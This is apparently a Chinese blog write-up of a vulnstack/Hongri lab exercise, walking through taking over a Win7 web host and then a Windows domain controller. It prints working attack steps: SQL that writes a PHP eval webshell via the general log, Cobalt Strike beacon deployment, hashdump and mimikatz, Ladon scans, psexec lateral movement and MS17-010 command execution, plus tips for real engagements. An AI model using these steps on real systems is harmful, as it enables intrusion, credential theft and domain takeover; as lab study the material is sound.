前期准备:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/下载虚拟机
配置环境需要两张仅主机模式开启的网卡
构造这样的内网环境,Kali和Win7的外网IP处于同一网段,可以进行攻击,而Win7还有内网网段,通过拿下Win7机器继续攻击其处于内网同一网段的Win2003及其域控服务器。
首先登录Win7开启phpstudy,登陆密码hongrisec@2019,所有虚拟机密码都是这个。
复现:
因为在kali和win7在同一网段,所以可以使用netdiscover对主机IP进行探测
探测到129存在,应该就是目标Win7主机,对目标主机端口开放情况进行探测
nmap -sC -sV -Pn -p 1-65535 192.168.136.129
发现存在80端口开放,访问看到phpStudy探针页面,直接猜测佩戴了phpmyadmin,随即访问,猜测弱口令root/root登陆上去
接下来利用日志文件Getshell,参看我之前写的PHPMyadmin getshell到提权文章
show variables like ‘%general%’; #查看日志状态
SET GLOBAL general_log=’on’ ;#开启写日志记录
SET GLOBAL general_log_file=’C:/phpStudy/www/233.php’ ;#更改日志文件目录
写入一句话 SELECT ‘<?php eval($_POST[“cmd”]);?>’ ;蚁剑连接
这就拿到Win7机器的权限了,接下来就是进行对内网信息收集的过程了
内网信息收集
利用CS生成一个windows64位的exe文件(做好监听)监听选择TCP
用蚁剑将exe上传,打开虚拟终端运行,CS上线,可以看到是管理员权限
接下来进行为了后续的信息收集进行提权
选择内置提权的方式或者外部加载一些payload,参考我的CobaltStrike系列
拿到System权限,最后注意下CS默认心跳60秒,实战的时候确实应适当高一些,30秒左右差不多,靶机环境自行设置:sleep 10
beacon> hashdump,去获取NTLM哈希值可以尝试在cmd5等网站解密
beacon> shell ipconfig,查看Win7机器所处环境
可以看到192.168.136.129是其模拟的公网IP,192.168.50.133是其模拟的内网IP
判断是否有域
whoami
ipconfig /all
hostname
nslookup god.org
systeminfo
net config workstation
net view /domain
net time /domain
接下来利用神器Ladon,https://github.com/k8gege/Ladon
详细使用方法参看:https://www.cnblogs.com/k8gege/p/11907810.html
选择下图,点击Load,选择cna后缀的文件,即可与CS联动使用
因为知晓其内网网段,直接对其域成员及域控进行探测
域内存活主机探测/系统/端口
beacon> Ladon 192.168.50.0/24 OnlinePC
可以看到存在三台机器133是我们拿下的Win7,还有135和134
beacon> Ladon 192.168.50.0/24 OsScan
beacon> Ladon 192.168.50.0/24 PortScan 或者指定IP进行探测
横向移动
1.利用psexec(需要密码相同)
因为192.168.50.0/24段不能直接连接到192.168.136.128(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
前提先run mimikatz获取解密明文,如下图点击可以看到解密密码
接下来准备smb协议
选择后会再生成一个session, 再对50的B段进行445端口的扫描(CS里自带)
完成后在View中选择Targets,在win7内网IP处如图选择
session选择之前获得的system权限的一个即可,“Launch”后会获得两个System权限的内网机器,拿下域控。这里我只拿到这台域控,另一台有延迟或者其他原因一直连接不上。最后大佬说可以考虑哈希传递去搞,以后学习记录。
注:实战的话,这种方式横向移动有失败可能,因为需要其他机器的密码与我们拿下的机器的密码相同才可以,但是用这种方式横向移动没有解出明文密码也可进行。最后注意msf与CS在实战中特征量是比较明显的,有情况的话需注意。
2.令牌偷取
偷取完回到targets,选择域中其他两台机器
选择一个session“Launch”,但是这种方式效果不是很好,我测试的时候没有成功,不理解什么原因。
3.CS与MSF联动使用MS17-010
拿到shell后 建立一个对外的监听,端口随便,这里注意使用的是tcp
msf上开启监听
回到CS复制一份shell传给对外监听的那个,选择choose,msf上收到shell
上线后 添加路由
run get_local_subnets #查看当前网络网络情况
可以看到有两段,我们的目的将路由设到50网段中
run autoroute -s 192.168.50.0/24
#添加路由
run autoroute -p #查看路由添加情况
成功添加路由
bg将meterpreter会话放到后台运行
msf5 > use auxiliary/admin/smb/ms17_010_command
查看options看到可以修改命令,并执行,另一台机器同理,通过这种方法可以添加用户,开启3389远程登陆拿下域机器
这里我测试的时候常规的ms17_010打法失败,实战可以考虑尝试。
这篇文章真的学到了很多东西,也写了好久,不断摸索,文章中仍有部分未完全理解透的知识点,有些地方也只是知晓其使用方法,仍需在后续的学习中不断提高修复。
最后:内网学习主要是工具使用,内网环境及域环境知识利用,常用命令及其思路和利用点的应用,实战中可能一些骚招式能起到出其不意的效果,当然0day最强。本文横向移动的方法主要基于各虚拟机密码相同才会相对容易一下,实际情况很可能在拿下机器后需要登录进行更多的信息收集(如配置文件,重要文档)去获取其他机器密码,同时注意拿域控,拿域控,拿域控,重要的事情多强调。